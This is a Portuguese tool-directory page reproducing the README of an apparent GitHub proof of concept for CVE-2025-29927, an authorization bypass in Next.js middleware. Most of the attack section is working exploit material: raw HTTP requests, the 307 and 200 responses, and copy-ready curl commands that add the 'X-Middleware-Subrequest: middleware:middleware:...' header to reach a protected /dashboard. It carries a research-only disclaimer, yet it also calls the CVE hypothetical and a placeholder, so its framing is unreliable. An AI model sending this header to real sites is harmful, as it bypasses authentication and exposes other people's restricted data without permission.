Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-29927-POC — Bypass de Autorização no Middleware do Next.js | Kitploit
Ferramentas/GitHubGitHub/muhammadwaseem29/cve-2025-29927-poc
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubmuhammadwaseem29/cve-2025-29927-poc

CVE-2025-29927-POC

Bypass de Autorização no Middleware do Next.js

Ver Repositório
93há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

CVE-2025-29927-POC

Introdução

Este repositório contém uma Prova de Conceito (PoC) para CVE-2025-29927, uma vulnerabilidade hipotética que demonstra uma falha no tratamento de middleware dentro de uma aplicação web. A PoC ilustra como uma requisição HTTP especialmente elaborada pode contornar a lógica de redirecionamento para acessar conteúdo restrito, como um painel de controle. Este projeto foi projetado apenas para fins educacionais e de pesquisa em segurança.

Aviso: Esta PoC é destinada ao uso em ambientes controlados com permissão explícita. Testes não autorizados contra sistemas que você não possui ou sem consentimento para testar são ilegais e antiéticos.


Índice

  • Pré-requisitos
  • Visão Geral da Vulnerabilidade
  • Etapas da Prova de Conceito
    • Etapa 1: Requisição Inicial (Sem Sucesso)
    • Etapa 2: Requisição Modificada (Com Sucesso)
  • Como Reproduzir
  • Referências
  • Contribuição
  • Licença

Pré-requisitos

Para seguir esta PoC, você precisará de:

  • Um servidor alvo (ex.: abc.com) executando uma configuração vulnerável (software/versão específicos a definir com base nos detalhes do CVE).
  • Uma ferramenta cliente HTTP como curl (curl.se), Burp Suite (portswigger.net/burp) ou um script personalizado.
  • Conhecimento básico de protocolos e cabeçalhos HTTP (veja a Documentação HTTP MDN).

Visão Geral da Vulnerabilidade

CVE-2025-29927 (placeholder; substitua pelos detalhes oficiais do CVE quando disponíveis) parece explorar uma configuração incorreta de middleware ou uma falha de lógica. A PoC demonstra que adicionar um cabeçalho personalizado (X-Middleware-Subrequest) altera o comportamento do servidor, contornando um mecanismo de redirecionamento para acessar conteúdo restrito. Isso provavelmente está relacionado à forma como o middleware (ex.: Nginx com Next.js) processa subrequisições ou valida cabeçalhos.

Para mais informações sobre vulnerabilidades de middleware, consulte OWASP Middleware Security.


Etapas da Prova de Conceito

A PoC consiste em duas etapas: uma requisição inicial sem sucesso e uma requisição modificada bem-sucedida. Cada etapa inclui a requisição HTTP, a resposta e uma explicação detalhada.

Etapa 1: Requisição Inicial (Sem Sucesso)

Esta etapa demonstra o comportamento padrão do servidor ao acessar o endpoint /dashboard sem cabeçalhos adicionais.

Requisição HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Resposta HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Explicação

  • Detalhes da Requisição:
    • GET /dashboard: Tenta acessar o endpoint do dashboard.
    • Cabeçalhos padrão como User-Agent e Accept imitam uma requisição típica de navegador.
  • Detalhes da Resposta:
    • 307 Temporary Redirect: Indica que o servidor redireciona o cliente, provavelmente devido a lógica de autenticação, autorização ou roteamento (ex.: redirecionando para uma página de login).
    • Server: nginx/1.14.1: Identifica o software do servidor web.
  • Análise: O redirecionamento sugere um mecanismo de proteção que impede o acesso direto a /dashboard. A ausência de um cabeçalho Location nesta resposta (possivelmente omitido por brevidade) implica que o destino do redirecionamento está em outro lugar.
  • Referência: Saiba mais sobre códigos de status HTTP em MDN HTTP Status.

Etapa 2: Requisição Modificada (Com Sucesso)

Esta etapa introduz um cabeçalho personalizado para contornar o redirecionamento, recuperando com sucesso o conteúdo do dashboard.

Requisição HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Resposta HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Explicação

  • Detalhes da Requisição:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Um cabeçalho personalizado adicionado à requisição original. A string middleware repetida pode explorar uma falha de análise ou validação na pilha de middleware.
    • Os demais cabeçalhos permanecem inalterados em relação à Etapa 1.
  • Detalhes da Resposta:
    • 200 OK: Confirma o acesso bem-sucedido ao conteúdo do dashboard.
    • Content-Type: text/html; charset=utf-8: Indica uma resposta HTML, provavelmente a página do dashboard.
    • X-Powered-By: Next.js: Sugere que a aplicação usa Next.js, um framework React que frequentemente depende de middleware para roteamento.
    • Cache-Control: Impede o cache, típico de conteúdo dinâmico e específico do usuário.
    • Content-Length: 30174: Tamanho do corpo da resposta em bytes.
  • Análise: O cabeçalho X-Middleware-Subrequest provavelmente engana o middleware fazendo-o tratar a requisição como uma subrequisição legítima, contornando a lógica de redirecionamento. Isso pode indicar uma vulnerabilidade na forma como as subrequisições são validadas ou processadas.
  • Referência: Explore o middleware do Next.js na .

Como Reproduzir

Siga estas etapas para reproduzir a PoC usando curl:

Etapa 1: Envie a Requisição Inicial

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Saída Esperada: Uma resposta 307 Temporary Redirect.

Etapa 2: Envie a Requisição Modificada

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Saída Esperada: Uma resposta 200 OK com o conteúdo do dashboard.

Nota: Substitua abc.com pelo domínio alvo real se estiver testando em um ambiente autorizado.


Referências

  • Detalhes do CVE - Banco de dados oficial de CVE (atualize com o link específico do CVE quando disponível).
  • Documentação HTTP MDN - Fundamentos do protocolo HTTP.
  • Middleware do Next.js - Informações sobre o comportamento do middleware do Next.js.
  • OWASP Middleware Security - Visão geral de vulnerabilidades de middleware.
  • Manual do curl - Guia para usar curl em requisições HTTP.

Licença

Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.

Baixar ferramenta
Middleware do Next.js